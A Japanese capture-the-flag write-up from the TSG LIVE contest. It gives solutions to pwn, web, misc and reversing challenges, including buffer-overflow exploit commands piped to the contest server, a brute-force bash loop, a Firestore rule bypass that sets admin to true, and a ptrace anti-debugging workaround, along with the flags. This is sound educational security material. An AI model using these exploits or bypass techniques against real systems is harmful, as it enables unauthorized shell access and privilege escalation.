5/14に100分という非常に短い競技時間で開催された。ひとりチームの\( ゜ヮ゜)> \(゜ヮ゜)/ \(゜ヮ゜)/ <(゜ヮ^ )/として参加して5位。
- [Pwn 100] bpxover (15 solves)
- [Pwn 200] bpxor (8 solves)
- [Web 200] Problem on fire (8 solves)
- [Misc 50] Welcome (31 solves)
- [Misc 250] guess (8 solves)
- [Rev 400] DNS ROPOB (8 solves)
[Pwn 100] bpxover (15 solves)
以下のようなコードが与えられる。BOFがある。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void win() { char *argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); char buf[16]; puts("hello :)"); scanf("%s", buf); long x = strtoll(buf, NULL, 10); asm ("xor %0, %%rbp\n\t" : : "r" (x)); return 0; }
$ (echo -en "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb6\x11\x40\x00\x00\x00\x00\x00"; cat) | nc chall.live.ctf.tsg.ne.jp 30006 hello :) ls ls -la total 36 drwxr-xr-x 1 root user 4096 May 13 06:36 . drwxr-xr-x 1 root root 4096 May 13 06:35 .. -r-xr-xr-x 1 root user 17000 May 13 06:27 chall -r--r--r-- 1 root user 35 May 13 06:27 flag -r-xr-xr-x 1 root user 66 May 13 06:27 start.sh cat flag TSGLIVE{welcome_overflowwwwwwwwww}
[Pwn 200] bpxor (8 solves)
bpxoverに少し変更が加えられて、scanf("%s", buf)
が scanf("%15s", buf);
になった。rbp
をずらして、リターンアドレスがユーザ入力の後半部分に来るようにすればよさそう。何バイトずらすかは、ブルートフォースでなんとかする。
#!/bin/bash count=0 while [ $count -lt 256 ]; do count=$((8+count)) s="000${count}" (echo -en "${s: -3}_____\xb6\x11\x40\x00\x00\x00\x00\x00"; echo "ls; cat f*") | nc chall.live.ctf.tsg.ne.jp 30007 done
$ ./a.sh hello :) timeout: hello :) timeout: hello :) timeout: hello :) chall flag start.sh TSGLIVE{xoring_rbp_easily_leads_to_shell}
[Web 200] Problem on fire (8 solves)
Firebase。firestore.rules
は以下のような内容になっていた。
rules_version = '2'; service cloud.firestore { match /databases/{database}/documents { match /users/{uid} { // 自分のユーザー情報を書き込めるのは自分のみ allow read, create: if request.auth.uid == uid && !request.resource.data.admin; // 一度作ったユーザー情報を編集できるのはadminだけ allow update: if request.resource.data.admin; } match /flags/flag { // flagを読めるのはadminだけ allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true; } } }
フロントエンドのコードには以下のような処理があった。{admin: false}
を {admin: true}
に変えるとフラグが得られた。
const db = firebase.firestore(); await db.collection('users').doc(uid).set({admin: false}); const flag = await db.collection('flags').doc('flag').get(); this.flag = flag.get('value');
TSGLIVE{git_fire_is_also_useful_when_the_project_is_on_fire}
私がfirst bloodでした🙌
[Misc 50] Welcome (31 solves)
問題文にフラグが書かれている。
TSGLIVE{Stream_is_constant_and_never_stay_same_Lets_enjoy_the_moment}
[Misc 250] guess (8 solves)
以下のようなC++のコードが渡される。ランダムに生成されるパスワードを当てればよいらしい。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/unistd.h> #include <unistd.h> #include <iostream> #include <string> #include <thread> #include <cstdlib> #include <chrono> void win(){ using namespace std; cout<<"you win!\n"<<getenv("FLAG")<<endl; cout.flush(); syscall(__NR_exit_group, 0); } void guess_checker(std::string s){ using namespace std; cerr<<"Got:"<<s<<endl; int fd = open("/tmp/password",O_RDONLY); if(s.size()>20){ close(fd); } if (!(fcntl(fd, F_GETFL) < 0)) { system("pwgen 50000 -s -1 -N1|tail -c 20 > /tmp/password"); string pass; char c; while(read(fd,&c,1)==1&&c!='\n'){ pass+=c; } cerr<<"Expected:"<<pass<<endl; if(s==pass){ win(); } }else{ cout<<"Wrong Password"<<endl; cout.flush(); this_thread::sleep_for(chrono::microseconds(500)); } close(fd); } int main(int argc, char const* argv[]) { system("touch /tmp/password"); using namespace std; while(true){ cout<<"guess password:"; cout.flush(); string s; getline(cin,s); thread(guess_checker,s).detach(); } return 0; }
なにかしらのタイミングでパスワードが空になるのだろうとguessして、とりあえずエンターキーを押しっぱなしにしてみたらフラグが得られてしまった。
$ nc chall.live.ctf.tsg.ne.jp 21234 guess password: guess password:Got: Expected:fBHzKKp5y7rfm9285Ty guess password: Got: guess password:guess password:Got: Got: Expected:SoC9JMuiynnyD05HYng guess password:guess password:Got: Got: Expected: you win! TSGLIVE{ThI5_1S_n0T_UMa_MUsUMe_pR3TTy_DerbY_rACe}
[Rev 400] DNS ROPOB (8 solves)
入力した文字列がフラグであるか確認してくれるELFが渡される。なんかROPっぽい感じでプログラムが組まれていて、解析がしづらくなっている。それに加えて ptrace
を使った gdb
とか ltrace
による解析への妨害もされているが、それはNOPで潰すなり LD_PRELOAD
で ptrace
を差し替えるなりすれば回避できる。
バイナリに含まれる怪しげなバイト列同士をXORすればフラグが出てきたりしないかな~というような無駄な試行の後に、Ghidraでバイナリを眺める。以下の2箇所で cmp ecx, eax
が実行されているのを見つけた。
gdb
でブレークポイントを置いてみると、AAAAAAA
を入力した場合には1回しか止まらなかったのに対して、TSGCTF{
では8回止まった。あとは ecx
と eax
が同じ値になるように一文字ずつ入力を変えていくだけ。gdb scriptを書いたら楽だろうと思いつつ、手作業で頑張った。
TSGCTF{I_am_inspired_from_ROPOB}